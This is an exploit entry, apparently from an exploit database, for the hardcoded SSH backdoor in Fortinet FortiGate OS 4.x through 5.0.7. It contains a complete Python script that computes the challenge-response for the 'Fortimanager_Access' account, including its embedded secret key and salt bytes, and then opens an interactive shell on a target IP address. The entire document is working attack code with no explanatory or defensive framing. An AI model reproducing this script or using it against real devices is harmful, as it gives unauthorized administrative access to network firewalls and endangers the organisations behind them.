Fortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Access
#!/usr/bin/env python # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7 # Usage: ./fgt_ssh_backdoor.py <target-ip> import socket import select import sys import paramiko from paramiko.py3compat import u import base64 import hashlib import termios import tty def custom_handler(title, instructions, prompt_list): n = prompt_list[0][0] m = hashlib.sha1() m.update('\x00' * 12) m.update(n + 'FGTAbc11*xy+Qqz27') m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70') h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest()) return [h] def main(): if len(sys.argv) < 2: print 'Usage: ' + sys.argv[0] + ' <target-ip>' exit(-1) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False) except paramiko.ssh_exception.SSHException: pass trans = client.get_transport() try: trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) except paramiko.ssh_exception.AuthenticationException: pass trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler) chan = client.invoke_shell() oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = u(chan.recv(1024)) if len(x) == 0: sys.stdout.write('\r\n*** EOF\r\n') break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) if __name__ == '__main__': main() |